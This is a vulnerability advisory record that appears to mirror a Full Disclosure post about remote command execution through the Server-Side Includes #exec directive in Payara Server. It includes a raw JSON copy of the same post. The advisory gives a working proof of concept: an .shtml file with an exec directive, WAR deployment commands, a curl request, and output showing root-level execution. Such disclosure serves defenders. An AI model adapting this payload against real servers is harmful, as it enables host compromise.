VULNARCHIVE

GCVE-1988-2026-0007

Payara 7.2026.1.RC1 Remote Code Execution via Server-Side Includes #exec Directive in Payara Server

Description (en)

*Description:*
Payara Server contains a vulnerability in its Server-Side Includes (SSI)
implementation that allows arbitrary operating system command execution via
the #exec directive. The issue occurs because user-controlled SSI
directives are passed directly to Runtime.exec() without validation,
sanitization, or restriction. An attacker who can cause the server to
process an SSI file (e.g., .shtml) can execute arbitrary OS commands with
the privileges of the Payara process. This vulnerability results in remote
code execution when SSI processing is enabled and accessible.

*Affected Product:*

   - Payara Server (Community & Enterprise)
   - Affects versions where:
      - Server-Side Includes (SSI) are enabled
      -  SSIExec command handling is available
      - #exec cmd is not explicitly disabled

*Impact:*

   - Successful exploitation allows an attacker to:
   - Execute arbitrary OS commands
   - Read/write files on the server
   - Install backdoors or persistence mechanisms
   - Pivot to internal networks
   - Fully compromise the host system


*Root Cause:*
*The vulnerability exists in the following class:*
org.apache.catalina.ssi.SSIExec

*Specifically, the process() method executes untrusted input directly:*
else if (paramName.equalsIgnoreCase("cmd")) {
    Runtime rt = Runtime.getRuntime();
    Process proc = rt.exec(substitutedValue);


*Proof of Concept (PoC):*
*Malicious SSI File:*
<!-- poc.shtml -->
<html>
<body>
<h2>SSI Exec Test</h2>
<pre>
<!--#exec cmd="id" -->
</pre>
</body>
</html>

*Deployment:*
jar cf ssitest.war .
$PAYARA_HOME/bin/asadmin deploy --force=true ssitest.war

*Payload:*
curl http://localhost:8080/ssitest/poc.shtml

*Output:*
<html>
<body>
<h2>SSI Exec Test</h2>
<pre>
uid=0(root) gid=0(root) groups=0(root)

</pre>
</body>
</html>

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Payara",
          "vendor": "Payara",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nPayara Server contains a vulnerability in its Server-Side Includes (SSI)\nimplementation that allows arbitrary operating system command execution via\nthe #exec directive. The issue occurs because user-controlled SSI\ndirectives are passed directly to Runtime.exec() without validation,\nsanitization, or restriction. An attacker who can cause the server to\nprocess an SSI file (e.g., .shtml) can execute arbitrary OS commands with\nthe privileges of the Payara process. This vulnerability results in remote\ncode execution when SSI processing is enabled and accessible.\n\n*Affected Product:*\n\n   - Payara Server (Community & Enterprise)\n   - Affects versions where:\n      - Server-Side Includes (SSI) are enabled\n      -  SSIExec command handling is available\n      - #exec cmd is not explicitly disabled\n\n*Impact:*\n\n   - Successful exploitation allows an attacker to:\n   - Execute arbitrary OS commands\n   - Read/write files on the server\n   - Install backdoors or persistence mechanisms\n   - Pivot to internal networks\n   - Fully compromise the host system\n\n\n*Root Cause:*\n*The vulnerability exists in the following class:*\norg.apache.catalina.ssi.SSIExec\n\n*Specifically, the process() method executes untrusted input directly:*\nelse if (paramName.equalsIgnoreCase(\"cmd\")) {\n    Runtime rt = Runtime.getRuntime();\n    Process proc = rt.exec(substitutedValue);\n\n\n*Proof of Concept (PoC):*\n*Malicious SSI File:*\n<!-- poc.shtml -->\n<html>\n<body>\n<h2>SSI Exec Test</h2>\n<pre>\n<!--#exec cmd=\"id\" -->\n</pre>\n</body>\n</html>\n\n*Deployment:*\njar cf ssitest.war .\n$PAYARA_HOME/bin/asadmin deploy --force=true ssitest.war\n\n*Payload:*\ncurl http://localhost:8080/ssitest/poc.shtml\n\n*Output:*\n<html>\n<body>\n<h2>SSI Exec Test</h2>\n<pre>\nuid=0(root) gid=0(root) groups=0(root)\n\n</pre>\n</body>\n</html>\n\nRon Edgerson\nVulnerability Researcher & Exploit Developer\n\nCVE Research | Binary Exploitation | Application & Systems Security\nResponsible Disclosure • Proof-of-Concept Development\n\n🌐 https://github.com/ob1sec\n🔗 https://www.linkedin.com/in/ronedgerson1\n<https://linkedin.com/in/yourhandle>\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:51Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/19"
        },
        {
          "url": "http://localhost:8080/ssitest/poc.shtml"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Payara 7.2026.1.RC1 Remote Code Execution via Server-Side Includes #exec Directive in Payara Server",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0007",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/19",
            "automated": true,
            "contentSha256": "30e1d1d387b6afddce1098ee16d0b6e5cfa021ee513c8773ba0f68459e4a60e6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:51:02Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:03:51Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0007"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}